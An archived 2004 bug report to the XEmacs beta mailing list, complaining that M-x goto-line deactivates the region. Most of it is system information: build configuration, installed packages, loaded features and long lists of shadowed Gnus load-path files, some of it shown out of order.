/home/ed/inst/gnus-5.10.6/lisp/nnheader /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnheader /home/ed/inst/gnus-5.10.6/lisp/nnheaderxm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnheaderxm /home/ed/inst/gnus-5.10.6/lisp/nnimap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnimap /home/ed/inst/gnus-5.10.6/lisp/nnkiboze /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnkiboze /home/ed/inst/gnus-5.10.6/lisp/nnlistserv /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnlistserv /home/ed/inst/gnus-5.10.6/lisp/nnmail /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmail /home/ed/inst/gnus-5.10.6/lisp/nnmaildir /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmaildir /home/ed/inst/gnus-5.10.6/lisp/nnmbox /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmbox /home/ed/inst/gnus-5.10.6/lisp/nnmh /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmh /home/ed/inst/gnus-5.10.6/lisp/nnml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnml /home/ed/inst/gnus-5.10.6/lisp/nnnil /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnnil /home/ed/inst/gnus-5.10.6/lisp/nnoo /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnoo /home/ed/inst/gnus-5.10.6/lisp/nnrss /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnrss /home/ed/inst/gnus-5.10.6/lisp/nnslashdot /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnslashdot /home/ed/inst/gnus-5.10.6/lisp/nnsoup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnsoup /home/ed/inst/gnus-5.10.6/lisp/nnspool /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnspool /home/ed/inst/gnus-5.10.6/lisp/nntp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nntp /home/ed/inst/gnus-5.10.6/lisp/nnultimate /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnultimate /home/ed/inst/gnus-5.10.6/lisp/nnvirtual /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnvirtual /home/ed/inst/gnus-5.10.6/lisp/nnwarchive /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnwarchive /home/ed/inst/gnus-5.10.6/lisp/nnweb /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnweb /home/ed/inst/gnus-5.10.6/lisp/nnwfm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnwfm /home/ed/inst/gnus-5.10.6/lisp/parse-time /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/parse-time /home/ed/inst/gnus-5.10.6/lisp/rfc1843 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc1843 /home/ed/inst/gnus-5.10.6/lisp/rfc2045 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2045 /home/ed/inst/gnus-5.10.6/lisp/rfc2047 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2047 /home/ed/inst/gnus-5.10.6/lisp/mml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml /home/ed/inst/gnus-5.10.6/lisp/rfc2231 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2231 /home/ed/inst/gnus-5.10.6/lisp/score-mode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/score-mode /home/ed/inst/gnus-5.10.6/lisp/smiley /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/smiley /home/ed/inst/gnus-5.10.6/lisp/smime /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/smime /home/ed/inst/gnus-5.10.6/lisp/spam-report /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam-report /home/ed/inst/gnus-5.10.6/lisp/spam-stat /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam-stat /home/ed/inst/gnus-5.10.6/lisp/spam /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam /home/ed/inst/gnus-5.10.6/lisp/time-date /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/time-date /home/ed/inst/gnus-5.10.6/lisp/utf7 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/utf7 /home/ed/inst/gnus-5.10.6/lisp/uudecode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/uudecode /home/ed/inst/gnus-5.10.6/lisp/webmail /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/webmail /home/ed/inst/gnus-5.10.6/lisp/yenc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/yenc /home/ed/inst/gnus-5.10.6/lisp/qp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/qp /home/ed/inst/gnus-5.10.6/lisp/rfc2104 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/rfc2104 /home/ed/inst/gnus-5.10.6/lisp/pop3 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/pop3 /home/ed/inst/gnus-5.10.6/lisp/starttls /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/starttls /home/ed/inst/gnus-5.10.6/lisp/netrc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/netrc /home/ed/inst/gnus-5.10.6/lisp/tls /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/tls /home/ed/inst/gnus-5.10.6/lisp/dig /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/net-utils/dig /home/ed/inst/gnus-5.10.6/lisp/dns /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/net-utils/dns /home/ed/inst/gnus-5.10.6/lisp/pgg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg /home/ed/inst/gnus-5.10.6/lisp/pgg-def /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-def /home/ed/inst/gnus-5.10.6/lisp/pgg-parse /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-parse /home/ed/inst/gnus-5.10.6/lisp/pgg-gpg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-gpg /home/ed/inst/gnus-5.10.6/lisp/pgg-pgp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-pgp /home/ed/inst/gnus-5.10.6/lisp/pgg-pgp5 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-pgp5 /home/ed/inst/gnus-5.10.6/lisp/sieve /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve /home/ed/inst/gnus-5.10.6/lisp/sieve-mode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve-mode /home/ed/inst/gnus-5.10.6/lisp/sieve-manage /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve-manage) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (ispell ver: 1.29 upstream: 3.6) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 font-lock info gnus-load desktop cus-edit cus-load wid-edit gnuserv vc-hooks mwheel time cperl-mode cus-face zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads ispell-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads modules-autoloads auto-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs gutter tiff png gif jpeg xbm lisp-float-type file-coding linux devices window-system base64) Recent keystrokes: ----------------- ESC O B ESC O B ESC x r e p o r t - x e m a c s - b u g RET Recent messages (most recent first): ----------------------------------- Auto save file for draft message exists; consider M-x mail-recover Loading xemacsbug...done Loading xemacsbug... Gnuserv process exited; restart with `M-x gnuserv-start' Loading desktop...done Loading desktop... Loading customization dependencies...done Loading customization dependencies... Loading gnuserv...done Loading gnuserv... Loading vc-hooks...done Loading vc-hooks... Loading time...done Loading time... Loading /home/ed/.xemacs-options...done Loading /home/ed/.xemacs-options... Loading cus-face...done Loading cus-face... From xemacs-beta-admin@xemacs.org Sat Apr 3 09:30:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33EU2s23883; Sat, 3 Apr 2004 09:30:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33ETlw23777 for xemacs-beta-mailman@xemacs.org; Sat, 3 Apr 2004 09:29:47 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33EThl23755 for turnbull@tux.org; Sat, 3 Apr 2004 09:29:43 -0500 Received: from budvar.future-i.net (budvar.future-i.net [212.100.224.95]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33EThs23750 for ; Sat, 3 Apr 2004 09:29:43 -0500 Received: from ed by budvar.future-i.net with local (Exim 4.24) id 1B9lzW-0000gr-FJ for xemacs-beta@xemacs.org; Sat, 03 Apr 2004 15:19:22 +0100 From: Ed Avis To: XEmacs Beta Subject: [Bug: 21.5-b16] M-x goto-line deactivates region Message-Id: Date: Sat, 03 Apr 2004 15:19:22 +0100 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! The xemacs documentation says * The region is deactivated after each command that is executed, except that motion commands do not change whether the region is active or not. However, M-x goto-line is a motion command (at least, in the ordinary meaning of that term) and does deactivate the region. This is very annoying when trying to mark a block of text between two lines. ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux budvar.future-i.net 2.2.19-6.2.12.1RS #1 Sat Nov 3 02:42:38 CST 2001 i686 unknown ./configure '--package-path=/home/ed/lib/xemacs-21.5-b16' '--prefix=/home/ed' XEmacs 21.5-b16 "celeriac" configured for `i686-pc-linux'. Compilation / Installation: Source code location: /home/ed/inst/xemacs-21.5.16 Installation prefix: /home/ed Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wshadow -Wmissing-declarations -g -O3 Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). WARNING: ----------------------------------------------------------- WARNING: Compiling without XPM image support. WARNING: You should strongly consider installing XPM. WARNING: Otherwise toolbars and other graphics will look suboptimal. WARNING: (a copy may be found in ftp://ftp.xemacs.org/pub/xemacs/aux) WARNING: ----------------------------------------------------------- Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/ed/lib/xemacs-21.5-b16/lisp/build-report /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/build/build-report /home/ed/inst/gnus-5.10.6/lisp/sha1-el /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/ecrypto/sha1-el /home/ed/inst/gnus-5.10.6/lisp/hex-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/ecrypto/hex-util /home/ed/inst/gnus-5.10.6/lisp/binhex /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/binhex /home/ed/inst/gnus-5.10.6/lisp/canlock /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/canlock /home/ed/inst/gnus-5.10.6/lisp/compface /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/compface /home/ed/inst/gnus-5.10.6/lisp/deuglify /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/deuglify /home/ed/inst/gnus-5.10.6/lisp/earcon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/earcon /home/ed/inst/gnus-5.10.6/lisp/flow-fill /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/flow-fill /home/ed/inst/gnus-5.10.6/lisp/format-spec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/format-spec /home/ed/inst/gnus-5.10.6/lisp/gnus-agent /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-agent /home/ed/inst/gnus-5.10.6/lisp/gnus-art /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-art /home/ed/inst/gnus-5.10.6/lisp/gnus-async /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-async /home/ed/inst/gnus-5.10.6/lisp/gnus-audio /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-audio /home/ed/inst/gnus-5.10.6/lisp/gnus-bcklg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-bcklg /home/ed/inst/gnus-5.10.6/lisp/gnus-cache /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cache /home/ed/inst/gnus-5.10.6/lisp/gnus-cite /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cite /home/ed/inst/gnus-5.10.6/lisp/gnus-cus /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cus /home/ed/inst/gnus-5.10.6/lisp/gnus-delay /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-delay /home/ed/inst/gnus-5.10.6/lisp/gnus-demon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-demon /home/ed/inst/gnus-5.10.6/lisp/gnus-diary /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-diary /home/ed/inst/gnus-5.10.6/lisp/gnus-dired /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-dired /home/ed/inst/gnus-5.10.6/lisp/gnus-draft /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-draft /home/ed/inst/gnus-5.10.6/lisp/gnus-dup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-dup /home/ed/inst/gnus-5.10.6/lisp/gnus-eform /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-eform /home/ed/inst/gnus-5.10.6/lisp/gnus-ems /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-ems /home/ed/inst/gnus-5.10.6/lisp/gnus-fun /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-fun /home/ed/inst/gnus-5.10.6/lisp/gnus-gl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-gl /home/ed/inst/gnus-5.10.6/lisp/gnus-group /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-group /home/ed/inst/gnus-5.10.6/lisp/gnus-int /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-int /home/ed/inst/gnus-5.10.6/lisp/gnus-kill /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-kill /home/ed/inst/gnus-5.10.6/lisp/gnus-logic /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-logic /home/ed/inst/gnus-5.10.6/lisp/gnus-mh /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-mh /home/ed/inst/gnus-5.10.6/lisp/gnus-ml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-ml /home/ed/inst/gnus-5.10.6/lisp/gnus-mlspl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-mlspl /home/ed/inst/gnus-5.10.6/lisp/gnus-move /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-move /home/ed/inst/gnus-5.10.6/lisp/gnus-msg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-msg /home/ed/inst/gnus-5.10.6/lisp/gnus-nocem /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-nocem /home/ed/inst/gnus-5.10.6/lisp/gnus-picon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-picon /home/ed/inst/gnus-5.10.6/lisp/gnus-range /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-range /home/ed/inst/gnus-5.10.6/lisp/gnus-registry /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-registry /home/ed/inst/gnus-5.10.6/lisp/gnus-salt /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-salt /home/ed/inst/gnus-5.10.6/lisp/gnus-score /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-score /home/ed/inst/gnus-5.10.6/lisp/gnus-setup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-setup /home/ed/inst/gnus-5.10.6/lisp/gnus-sieve /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-sieve /home/ed/inst/gnus-5.10.6/lisp/gnus-soup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-soup /home/ed/inst/gnus-5.10.6/lisp/gnus-spec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-spec /home/ed/inst/gnus-5.10.6/lisp/gnus-srvr /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-srvr /home/ed/inst/gnus-5.10.6/lisp/gnus-start /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-start /home/ed/inst/gnus-5.10.6/lisp/gnus-sum /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-sum /home/ed/inst/gnus-5.10.6/lisp/gnus-topic /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-topic /home/ed/inst/gnus-5.10.6/lisp/gnus-undo /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-undo /home/ed/inst/gnus-5.10.6/lisp/gnus-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-util /home/ed/inst/gnus-5.10.6/lisp/gnus-uu /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-uu /home/ed/inst/gnus-5.10.6/lisp/gnus-vm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-vm /home/ed/inst/gnus-5.10.6/lisp/gnus-win /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-win /home/ed/inst/gnus-5.10.6/lisp/gnus-xmas /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-xmas /home/ed/inst/gnus-5.10.6/lisp/gnus /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus /home/ed/inst/gnus-5.10.6/lisp/html2text /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/html2text /home/ed/inst/gnus-5.10.6/lisp/ietf-drums /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/ietf-drums /home/ed/inst/gnus-5.10.6/lisp/imap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/imap /home/ed/inst/gnus-5.10.6/lisp/mail-parse /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-parse /home/ed/inst/gnus-5.10.6/lisp/mail-prsvr /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-prsvr /home/ed/inst/gnus-5.10.6/lisp/mail-source /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-source /home/ed/inst/gnus-5.10.6/lisp/mailcap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mailcap /home/ed/inst/gnus-5.10.6/lisp/message /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/message /home/ed/inst/gnus-5.10.6/lisp/messagexmas /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/messagexmas /home/ed/inst/gnus-5.10.6/lisp/messcompat /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/messcompat /home/ed/inst/gnus-5.10.6/lisp/mm-bodies /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-bodies /home/ed/inst/gnus-5.10.6/lisp/mm-decode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-decode /home/ed/inst/gnus-5.10.6/lisp/mm-encode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-encode /home/ed/inst/gnus-5.10.6/lisp/mm-extern /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-extern /home/ed/inst/gnus-5.10.6/lisp/mm-partial /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-partial /home/ed/inst/gnus-5.10.6/lisp/mm-url /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-url /home/ed/inst/gnus-5.10.6/lisp/mm-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-util 